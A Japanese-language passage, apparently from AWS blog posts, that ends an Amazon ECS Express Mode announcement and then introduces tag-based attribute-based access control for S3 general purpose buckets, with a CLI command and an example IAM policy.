Kit (CDK) 、Terraform などの IaC ツールを利用して、Amazon ECS Express Mode を使ってアプリケーションをデプロイできます。 料金 – Amazon ECS Express Mode の使用に追加料金はかかりません。アプリケーションを起動して実行するために作成した AWS リソースに料金がかかります。 Application Load Balancer の共有 – 作成された ALB は、ホストヘッダーベースのリスナールールを使用して最大 25 の ECS サービス間で自動的に共有されます。これにより、ALB のコストを大幅に分散できます。 Amazon ECS コンソールから Amazon ECS Express Mode の使用を開始してください。詳細については、 Amazon ECS のドキュメント ページをご覧ください。 構築がうまくいきますように! –&nbsp; Donnie 原文は こちら です。

組織の規模が拡大するにつれて、ストレージリソースのアクセス許可の管理はますます複雑になり、時間がかかるようになっています。新しいチームメンバーが加わり、既存のスタッフの役割が変わり、新しい S3 バケットが作成されるにつれて、組織は複数のタイプのアクセスポリシーを絶えず更新して、S3 バケット全体のアクセス権を管理する必要があります。この課題は、管理者がこれらのポリシーを頻繁に更新して共有データセットや多数のユーザーのアクセス権を制御する必要があるマルチテナント S3 環境で特に顕著です。 2025 年 11 月 20 日、 Amazon Simple Storage Service (S3) 汎用バケット用の 属性ベースのアクセス制御 (ABAC) を導入しました。これは、S3 汎用バケットでタグを使用してデータへのアクセス権を制御することにより、ユーザーとロールのアクセス許可を自動的に管理できる新機能です。アクセス許可を個別に管理する代わりに、タグベースの IAM ポリシーまたはバケットポリシーを使用して、ユーザー、ロール、S3 汎用バケット間のタグに基づいてアクセスを自動的に許可または拒否できます。タグベースの認証により、バケット名の代わりにプロジェクト、チーム、コストセンター、データ分類、またはその他のバケット属性に基づいて S3 アクセス権を簡単に付与できるため、大規模な組織のアクセス許可の管理が大幅に簡素化されます。 ABAC の仕組み 一般的なシナリオは次のとおりです。管理者として、開発環境で使用する予定のすべての S3 バケットへのアクセス権をデベロッパーに付与したいと考えています。 ABAC を使用すると、開発環境の S3 バケットに environment:development などのキーと値のペアをタグ付けし、同じ environment:development タグにチェックが入っている AWS Identity and Access Management (IAM) プリンシパルに ABAC ポリシーをアタッチできます。バケットタグがポリシーの条件と一致する場合、プリンシパルにアクセス権が付与されます。 これがどのように機能するか見てみましょう。 使用の開始 まず、タグベースの認証を使用したい各 S3 汎用バケットで ABAC を明示的に有効にする必要があります。 Amazon S3 コンソール に移動し、汎用バケットを選択してから [Properties] (プロパティ) に移動すると、このバケットに対して ABAC を有効にするオプションが表示されます。 また、 AWS コマンドラインインターフェイス (AWS CLI) を使用して、新しい PutBucketAbac API を使用してプログラムで有効にすることもできます。ここでは、米国東部 (オハイオ) us-east-2 AWS リージョン にある my-demo-development-bucket というバケットで ABAC を有効にしています。 aws s3api put-bucket-abac --bucket my-demo-development-bucket abac-status Status=Enabled --region us-east-2 または、 AWS CloudFormation を使用している場合は、テンプレートの AbacStatus プロパティを [Enabled] (有効) に設定して ABAC を有効にすることもできます。 次に、S3 汎用バケットにタグを付けましょう。タグベースの認証の基準となる environment:development タグを追加します。 S3 バケットにタグが付けられたので、 environment:development タグが一致することを検証する ABAC ポリシーを作成し、dev-env-role という IAM ロールにアタッチします。このロールへのデベロッパーのアクセス権を管理することで、すべての開発環境バケットに対するアクセス許可を 一元的に 制御できます。 IAM コンソール に移動し、 [Policies] を選択し、 [ポリシーの作成] を選択します。&nbsp; [Policy editor] (ポリシーエディタ) で JSON ビューに切り替え、ユーザーが S3 オブジェクトの読み取り、書き込み、一覧表示を行えるようにするポリシーを作成します。ただし、これは、ユーザーに「environment」というキーが付けられたタグがあり、その値が S3 バケットで宣言されている値と一致する場合に限られます。このポリシーに s3-abac-policy という名前を付けて保存します。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:GetObject", "s3:PutObject", "s3:ListBucket" ], "Resource": [ "*" ], "Condition": { "StringEquals": { "aws:ResourceTag/environment": "development" } } } ] } 次に、この s3-abac-policy を dev-env-role にアタッチします。 これで完了です。 これで、dev-role を引き受けるユーザーは、my-demo-development-bucket などの environment:development タグが付いたどの ABAC 対応バケットにもアクセスできるようになりました。 既存のタグを使用する ABAC には既存のタグを使用できますが、これらのタグはアクセス制御に使用されることになるため、この機能を有効にする前に現在のタグ設定を確認することをおすすめします。これには、意図しないアクセスを防ぐために既存のバケットタグとタグベースのポリシーを確認することや、標準の TagResource API を使用するようにタグ付けワークフローを更新することが含まれます (バケットで ABAC を有効にすると、PutBucketTagging API の使用がブロックされるため)。 AWS Config を使用して、どのバケットで ABAC が有効になっているかを確認したり、 AWS Cloudtrail 管理イベントを使用してアプリケーションの PutBucketTagging API の使用状況を確認したりできます。 さらに、ABAC に使用するのと同じタグを、S3 バケットのコスト配分タグとしても使用できます。これらを AWS 請求コンソール または API でコストアロケーションタグとして有効にすると、 AWS Cost Explorer と Cost and Usage Reports はこれらのタグに基づいて支出データを自動的に整理します。 作成時にタグを強制する 組織全体のアクセス制御を標準化しやすくするために、サービスコントロールポリシー (SCP) または IAM ポリシーによってバケットを作成するときに、 aws:TagKeys と aws:RequestTag 条件キーを使用して、タグ付けを強制できるようになりました。その後、これらのバケットで ABAC を有効にして、組織全体で一貫したアクセス制御パターンを提供できます。作成時にバケットにタグを付けるには、CloudFormation テンプレートにタグを追加するか、既存の S3 CreateBucket API への呼び出しのリクエスト本文にタグを指定できます。例えば、デベロッパーに environment=development というタグが付いたバケットを作成するポリシーを適用して、コスト割り当てのためにすべてのバケットに正確にタグを付けることができます。アクセス制御に同じタグを使用したい場合は、これらのバケットで ABAC を有効にできます。 知っておくべきこと Amazon S3 用の ABAC では、S3 バケット全体にスケーラブルなタグベースのアクセス制御を実装できるようになりました。この機能により、アクセスコントロールポリシーの作成が簡単になり、プリンシパルやリソースの出入によるポリシーの更新の必要性が減ります。これにより、規模を拡大しても強力なセキュリティガバナンスを維持しながら、管理オーバーヘッドを削減できます。 Amazon S3 汎用バケット用の属性ベースのアクセス制御は、 AWS マネジメントコンソール 、API、 AWS SDK 、AWS CLI、および AWS CloudFormation で追加料金なしで利用できるようになりました。 Amazon S3 の料金表 に従って、標準 API リクエスト料金がかかります。S3 リソースのタグストレージに追加料金はかかりません。 AWS CloudTrail を使用してアクセスリクエストを監査し、リソースへのアクセスを許可または拒否したポリシーを把握できます。 ABAC は、S3 ディレクトリバケット、S3 アクセスポイント、S3 テーブル、バケット、テーブルなど、他の S3 リソースでも使用できます。S3 バケットでの ABAC の詳細については、 Amazon S3 ユーザーガイド を参照してください。 コスト割り当てでも、アクセス制御に使用するのと同じタグを使用できます。そのようなタグは、AWS 請求コンソールまたは API を使用してコストアロケーションタグとして有効化できます。 コストアロケーションタグの使用方法 の詳細については、該当するドキュメントをご覧ください。 原文は こちら です。